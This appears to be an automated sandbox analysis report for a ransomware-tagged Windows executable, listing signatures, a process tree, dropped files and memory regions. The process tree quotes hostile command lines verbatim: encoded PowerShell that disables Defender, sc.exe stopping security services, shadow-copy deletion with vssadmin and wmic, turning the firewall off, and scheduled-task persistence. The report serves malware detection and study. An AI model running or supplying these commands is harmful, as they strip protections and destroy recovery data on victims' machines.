Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    17/04/2026, 04:27

General

  • Target
    2026-04-17_d08f30bb62d3a95cedde9ab30123de53_destroyer_elex_glassworm_ngrbot_wannacry.exe
  • Size 51KB
  • Sample260417-e29axafs7l
  • SHA256 0f970c9a89580e3d890c85d0fd0415857117d310889254cb2fccd7128e70bc7b
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Custom signature
    Detects command variations typically used by ransomware 2 IoCs
  • Custom signature
    Detects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs
  • Custom signature
    Detects ransomware indicator 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Disables service(s) 3 TTPs
  • Drops startup file 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Drops file in System32 directory 5 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • EICAR Anti-Malware test file 1 IoCs
  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-04-17_d08f30bb62d3a95cedde9ab30123de53_destroyer_elex_glassworm_ngrbot_wannacry.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-04-17_d08f30bb62d3a95cedde9ab30123de53_destroyer_elex_glassworm_ngrbot_wannacry.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Drops startup file
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3168
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2080
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:808
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:1224
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:2688
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:1160
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:3828
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:4404
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:1220
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:3104
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3408
      • C:\Users\Admin\AppData\Local\Temp\2026-04-17_d08f30bb62d3a95cedde9ab30123de53_destroyer_elex_glassworm_ngrbot_wannacry.exe
        "C:\Users\Admin\AppData\Local\Temp\2026-04-17_d08f30bb62d3a95cedde9ab30123de53_destroyer_elex_glassworm_ngrbot_wannacry.exe"
        3⤵
          PID:3084
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
          PID:2040
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-04-17_d08f30bb62d3a95cedde9ab30123de53_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc onlogon /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4608
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2500
          • C:\Windows\system32\vssadmin.exe
            vssadmin delete shadows /all /quiet
            3⤵
            • Interacts with shadow copies
            PID:3376
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic shadowcopy delete
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1028
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2836
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            3⤵
            • Gathers system information
            PID:3096
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3000
          • C:\Windows\system32\tasklist.exe
            tasklist
            3⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:4244
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2660
          • C:\Windows\system32\whoami.exe
            whoami
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:656
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1932
          • C:\Windows\system32\net.exe
            net user
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1580
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 user
              4⤵
                PID:2612
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1032
            • C:\Windows\system32\ipconfig.exe
              ipconfig /all
              3⤵
              • Gathers network information
              PID:1504
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2528
            • C:\Windows\System32\Conhost.exe
              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              3⤵
                PID:1160
              • C:\Windows\system32\NETSTAT.EXE
                netstat -an
                3⤵
                • Gathers network information
                • Suspicious use of AdjustPrivilegeToken
                PID:3316
            • C:\Windows\SYSTEM32\schtasks.exe
              "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\2026-04-17_d08f30bb62d3a95cedde9ab30123de53_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc daily /f
              2⤵
              • Scheduled Task/Job: Scheduled Task
              PID:4188
            • C:\Windows\System32\wscript.exe
              "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
              2⤵
                PID:3148
              • C:\Windows\System32\notepad.exe
                "C:\Windows\System32\notepad.exe"
                2⤵
                  PID:2688
                • C:\Windows\System32\vssadmin.exe
                  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                  2⤵
                  • Interacts with shadow copies
                  PID:428
                • C:\Windows\System32\wbem\WMIC.exe
                  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                  2⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:436
                • C:\Windows\System32\net.exe
                  "C:\Windows\System32\net.exe" stop srservice
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2040
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 stop srservice
                    3⤵
                      PID:3148
                  • C:\Windows\System32\netsh.exe
                    "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                    2⤵
                    • Modifies Windows Firewall
                    • Event Triggered Execution: Netsh Helper DLL
                    PID:2536
                  • C:\Windows\System32\sc.exe
                    "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                    2⤵
                    • Launches sc.exe
                    PID:1560
                  • C:\Windows\System32\sc.exe
                    "C:\Windows\System32\sc.exe" stop i8042prt
                    2⤵
                    • Launches sc.exe
                    PID:3052
                • C:\Windows\system32\LogonUI.exe
                  "LogonUI.exe" /flags:0x0 /state0:0xa3a1a055 /state1:0x41c64e6d
                  1⤵
                  • Modifies data under HKEY_USERS
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of SetWindowsHookEx
                  PID:5060
                • C:\Users\Admin\AppData\Local\Temp\2026-04-17_d08f30bb62d3a95cedde9ab30123de53_destroyer_elex_glassworm_ngrbot_wannacry.exe
                  C:\Users\Admin\AppData\Local\Temp\2026-04-17_d08f30bb62d3a95cedde9ab30123de53_destroyer_elex_glassworm_ngrbot_wannacry.exe
                  1⤵
                    PID:1008
                  • C:\Users\Admin\AppData\Local\Temp\2026-04-17_d08f30bb62d3a95cedde9ab30123de53_destroyer_elex_glassworm_ngrbot_wannacry.exe
                    C:\Users\Admin\AppData\Local\Temp\2026-04-17_d08f30bb62d3a95cedde9ab30123de53_destroyer_elex_glassworm_ngrbot_wannacry.exe
                    1⤵
                      PID:220
                    • C:\Windows\system32\vssvc.exe
                      C:\Windows\system32\vssvc.exe
                      1⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2776

                    Network

                          MITRE ATT&CK Enterprise v16

                          Replay Monitor

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                          Downloads

                          invoice_1.pdf

                          • Path C:\ProgramData\invoice_1.pdf
                          • Size 68KB
                          • SHA256 db3b73f890a98ab0237a2d286f4b5251b5af86340c2ed61202ef9e48d07d9a33
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          doc_3.pdf

                          • Path C:\SystemVolumeInformation\doc_3.pdf
                          • Size 68KB
                          • SHA256 8744147d1c640c224b095ddbeb63288784ebb96353e9d26d5aa743b2c15399f5
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          2026-04-17_d08f30bb62d3a95cedde9ab30123de53_destroyer_elex_glassworm_ngrbot_wannacry.exe.log

                          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\2026-04-17_d08f30bb62d3a95cedde9ab30123de53_destroyer_elex_glassworm_ngrbot_wannacry.exe.log
                          • Size 660B
                          • SHA256 0e692bcbba51ca4e766a427c9f28a7a4a9e326d2cf835493e57a9dc2121326b5
                          • MD5 SHA1 SHA512 TLSH

                          __PSScriptPolicyTest_djqavs52.grt.ps1

                          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_djqavs52.grt.ps1
                          • Size 60B
                          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                          • MD5 SHA1 SHA512 TLSH

                          createshortcut.vbs

                          • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                          • Size 309B
                          • SHA256 eca61fd9d5166dccfc1fefaad991e201836c3398b5324d4ffc2cde90f0287243
                          • MD5 SHA1 SHA512 TLSH

                          del.bat

                          • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                          • Size 59B
                          • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                          • MD5 SHA1 SHA512 TLSH

                          makelnk.vbs

                          • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                          • Size 310B
                          • SHA256 5fac4452a80fb1145ada571fd94689366099bce7a261902ae9886aec23108068
                          • MD5 SHA1 SHA512 TLSH

                          eicar_extra.com

                          • Path C:\Users\Admin\Documents\eicar_extra.com
                          • Size 68B
                          • SHA256 275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f
                          • MD5 SHA1 SHA512 TLSH

                          sysupdate.exe

                          • Path C:\Windows\System32\sysupdate.exe
                          • Size 51KB
                          • SHA256 0f970c9a89580e3d890c85d0fd0415857117d310889254cb2fccd7128e70bc7b
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          memory/2080-2232-0x000002DFB05D0000-0x000002DFB05EC000-memory.dmp

                          memory/2080-387-0x000002DFB0520000-0x000002DFB0542000-memory.dmp

                          memory/2080-2234-0x000002DFB05F0000-0x000002DFB05FA000-memory.dmp

                          memory/2080-2282-0x000002DFB0450000-0x000002DFB0462000-memory.dmp

                          memory/2080-2237-0x000002DFB0620000-0x000002DFB063C000-memory.dmp

                          memory/2080-2233-0x000002DFC8950000-0x000002DFC8A03000-memory.dmp

                          memory/2080-2266-0x000002DFC8B70000-0x000002DFC8B7A000-memory.dmp

                          memory/2080-2264-0x000002DFC8B60000-0x000002DFC8B66000-memory.dmp

                          memory/2080-2260-0x000002DFB0600000-0x000002DFB060A000-memory.dmp

                          memory/2080-2261-0x000002DFC8B80000-0x000002DFC8B9A000-memory.dmp

                          memory/2080-2263-0x000002DFB0610000-0x000002DFB0618000-memory.dmp

                          memory/2688-2269-0x0000022DB38F0000-0x0000022DB38F1000-memory.dmp

                          memory/3168-0-0x0000000000ED0000-0x0000000000EE4000-memory.dmp

                          memory/3168-4-0x000000001E220000-0x000000001E3E2000-memory.dmp

                          memory/3168-5-0x000000001E920000-0x000000001EE48000-memory.dmp

                          memory/3168-1-0x0000000003120000-0x0000000003130000-memory.dmp

                          memory/3168-2286-0x0000000003120000-0x0000000003130000-memory.dmp

                          memory/3168-2285-0x000000001D810000-0x000000001D822000-memory.dmp